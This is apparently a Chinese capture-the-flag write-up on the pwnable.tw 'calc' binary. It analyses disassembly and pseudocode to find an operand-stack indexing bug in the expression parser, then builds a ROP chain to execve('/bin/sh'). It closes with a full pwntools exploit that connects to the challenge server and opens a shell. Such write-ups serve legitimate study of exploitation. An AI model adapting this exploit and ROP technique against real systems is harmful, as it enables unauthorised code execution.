pwnable.tw_challenge_calc
首先运行一下
了解到这个程序大概类似计算器,计算我们输入的一个合法表达式的值
载入IDA分析:
0x01 程序过程
0x01 main
push ebp
mov ebp, esp
and esp, 0FFFFFFF0h
sub esp, 10h
mov dword ptr [esp+4], offset timeout
mov dword ptr [esp], 0Eh
call ssignal
mov dword ptr [esp], 3Ch
call alarm
mov dword ptr [esp], offset aWelcomeToSecpr ; "=== Welcome to SECPROG calculator ==="
call puts
mov eax, stdout
mov [esp], eax
call fflush
call calc
mov dword ptr [esp], offset aMerryChristmas ; "Merry Christmas!"
call puts
leave
retn
可以看到这里关键处:
调用一个计时器
调用关键函数calc
0x02 calc
0x01 canary保护
可以看到函数开始:
push ebp
mov ebp, esp
sub esp, 5B8h
mov eax, large gs:14h
mov [ebp+var_C], eax
xor eax, eax
可以看到这里启用了canary保护
将内存large gs:14h中的(随机值)入栈
并在程序返回前对canary值进行检验:
nop
mov eax, [ebp+var_C]
xor eax, large gs:14h
jz short locret_8049432
canary值在栈中位于返回地址和函数调用参数之间
从而保护了栈内数据,防止我们修改返回地址造成栈溢出
0x02 _bzero
canary入栈后calc调用了bzero:
mov dword ptr [esp+4], 400h
lea eax, [ebp+s]
mov [esp], eax ; s
call _bzero
这里从ebp+s开始将一段长为0x400的空间清零
0x03 get_expr
开辟一段数据后
calc调用了get_expr函数
mov dword ptr [esp+4], 400h
lea eax, [ebp+s]
mov [esp], eax
call get_expr
跟进get_expr后发现一堆判断跳转
大致过程:
过滤掉除"[0-9],+,-,×,/,%"外的其他字符
读入我们输入的表达式到_bzero开辟的空间中
当我们成功读入返回值不为0,calc跳转到loc_80493CC处:
test eax, eax
jnz short loc_80493CC
0x04 init_pool
接下来calc调用init_pool:
lea eax, [ebp+var_5A0]
mov [esp], eax
call init_pool
init_pool:
.text:08048FF8 push ebp
.text:08048FF9 mov ebp, esp
.text:08048FFB sub esp, 10h
.text:08048FFE mov eax, [ebp+arg_0]
.text:08049001 mov dword ptr [eax], 0
.text:08049007 mov [ebp+var_4], 0
.text:0804900E jmp short loc_8049022
.text:08049010 ; ---------------------------------------------------------------------------
.text:08049010
.text:08049010 loc_8049010: ; CODE XREF: init_pool+2E↓j
.text:08049010 mov eax, [ebp+arg_0]
.text:08049013 mov edx, [ebp+var_4]
.text:08049016 mov dword ptr [eax+edx*4+4], 0
.text:0804901E add [ebp+var_4], 1
.text:08049022
.text:08049022 loc_8049022: ; CODE XREF: init_pool+16↑j
.text:08049022 cmp [ebp+var_4], 63h
.text:08049026 jle short loc_8049010
.text:08049028 leave
.text:08049029 retn
很简短的一个过程:
从ebp+var_5A0开始
将长度为63h的空间清零
0x05 parse_expr
接下来calc调用 parse_expr函数:
lea eax, [ebp+var_5A0]
mov [esp+4], eax
lea eax, [ebp+s]
mov [esp], eax
call parse_expr
可以看到其参数:
init_pool清零的那段空间的首地址:ebp+var_5A0
对应读入表达式的首地址:ebp+s
首先F5分析一下parse_expr的伪代码(分析在注释处):
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v2; // ST2C_4
int v4; // eax
int v5; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v5 = a1;
v7 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )// 比对ascii并转换成unsigned int后,检验是否为运算符
{
v2 = i + a1 - v5; // 运算符左操作数长度
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") ) // 判断运算符左边操作数是否为0
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi((int)s1); // 将读入的操作数由字符串转化为int
if ( v9 > 0 )
{
v4 = (*a2)++; // a2[0]保存操作数个数
a2[v4 + 1] = v9; // 将第二个操作数存入第二次开辟的那段空间
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )// 判断是否两个运算符连续
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = i + 1 + a1; // v5指向运算符后一个字符,构造下一个循环
if ( s[v7] ) // 判断是否为第一个操作数(对上一个操作符进行判断)
{
switch ( *(char *)(i + a1) )
{
case 37:
case 42:
case 47:
if ( s[v7] != 43 && s[v7] != 45 ) // 判断运算是否为加减从而确定运算顺序
{
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
}
else
{
s[++v7] = *(_BYTE *)(i + a1);
}
break;
case 43:
case 45:
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[v7--]); // 保证了最后while时运算符右边的优先级大于左边
break;
}
}
else // 若此操作符不是第一个操作符,则读入s[v7]中
{
s[v7] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) ) // 字符串结尾
break;
}
}
while ( v7 >= 0 )
eval(a2, s[v7--]); // 将因优先级问题没有计算的运算从右向左依次计算
return 1;
}
除此之外,这里调用了eval函数来进行计算:
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax
if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
可以看到:
init_pool中开辟的空间依次保存操作数(即calc中的:var_59C= dword ptr -59Ch)(开始位置保存操作数个数)
parse_expr中新开辟的空间s保存运算符
a2[*a2]处保存表达式最终结果
0x02 漏洞
在parse_expr中分析:
正常情况下最终应该在a2[1]处的值为结果
可当考虑到第一个字符即为运算符的情况下:
例如:+10
*a2=1(一个操作数)
a2[1]=10
s[0]='+'
a2[*a2-1]=a2[*a2-1]+a2[*a2]
即:a2[0]=a2[0]+a2[1]=11
而后--*a2,即:*a2=10
最终输出结果为a2[*a2]=a2[10]
这里注意*a2与 init_pool中开辟的63h长度的地址是连续的,记 init_pool中地址为a3的话
那么如果最后输出a3[*a2-1]=a2[*a2]
同样地:
如果+10+1
则会使:a2[10]=a2[10]+1
并输出a2[10]
那么当我们选取恰当大小的操作数即可绕过canary修改返回地址,从而实现溢出
这里注意:
每一次循环都会重新调用前面两个清零的函数,我们修改这里的数据,下一次依然会清零(不过这段地址外数据(包括我们要修改的返回地址)不会清零,可以修改)
我们查看一下程序的保护机制:
checksec --file ./calc
发现:
NX
这里开启了NX保护
我们无法在栈上执行shellcode拿到shell
同时看到这里:
objdump -R ./clac
程序是静态链接
我们这里考虑利用ROP调用sys_execve来获得shell
0x03 ROP
首先计算出返回地址与*a2的距离
0x5A0+0x4=1444
1444/4=361
故而:
输入+361时反回的即时calc的返回地址
我们需要连续修改a2[361]后的一段栈内数据来构造ROP链
我们最终需要:
ebx=“/bin/sh”字符串首地址
ecx=0
eax=0xb
我们需要构造一段栈内数据:
addr(pop eax;ret)->0xb->addr(pop ecx;popebx,ret)->0->addr"/bin/sh"->addr(int 80h)->"/bin/sh"
利用ROPgadget找到我们需要指令的地址:
ROPgadget --binary ./calc --ropchain
ROPgadget
下面:
我们需要先通过找到栈中对应位置的值计算出我们需要的差值
利用差值将从返回地址开始的一段栈数据修改成我们需要的值
例如:
我们先修改+361处的值
+361处需要修改为addr(pop eax;ret)(pop eax;ret指令地址)
假设pop eax;ret指令地址为:0x1
我们输入"+361",返回:0x0
它与我们需要的值差值为0x1-0x0=1
我们输入+361+1
即可修改+361处值为我们需要的0x1
注意:
其中/bin/sh字符串我们只知道其在栈中的相对地址,这里需要我们先取得main函数的ebp地址(我们取得+360(main函数基地址)是负数,需要+0x100000000转换后运算,再在最后-0x100000000修改对应位置值)
在main中:
and esp, 0FFFFFFF0h
sub esp, 10h
故而返回地址即在:
addr_re=([ebp]&0xfffffff0)-16 #注意脚本书写时运算优先级"+">"&"
而后再根据我们最后在栈内构造的字符串"/bin/sh"与返回地址的相对位置计算出字符串"/bin/sh"的地址即可
0x04 EXP
from pwn import *
p=remote('chall.pwnable.tw',10100)
#p=process("./calc")
key=[0x0805c34b,11,0x080701d1,0,0,0x08049a21,0x6e69622f,0x0068732f]
p.recv()
p.sendline('+360')
addr_bp=int(p.recv())
addr_re=((addr_bp+0x100000000)&0xFFFFFFF0)-16
addr_str=addr_re+20-0x100000000
addr=361
for i in range(5):
p.sendline('+'+str(addr+i))
ans=int(p.recv())
if key[i]<ans:
ans=ans-key[i]
p.sendline('+'+str(addr+i)+'-'+str(ans))
else:
ans=key[i]-ans
p.sendline('+'+str(addr+i)+'+'+str(ans))
p.recv()
p.sendline('+'+'365'+str(addr_str))
p.recv()
for i in range(5,8):
p.sendline('+'+str(addr+i))
ans=int(p.recv())
if key[i]<ans:
ans=ans-key[i]
p.sendline('+'+str(addr+i)+'-'+str(ans))
else:
ans=key[i]-ans
p.sendline('+'+str(addr+i)+'+'+str(ans))
p.recv()
p.send('kirin'+'\n')
p.interactive()
网友评论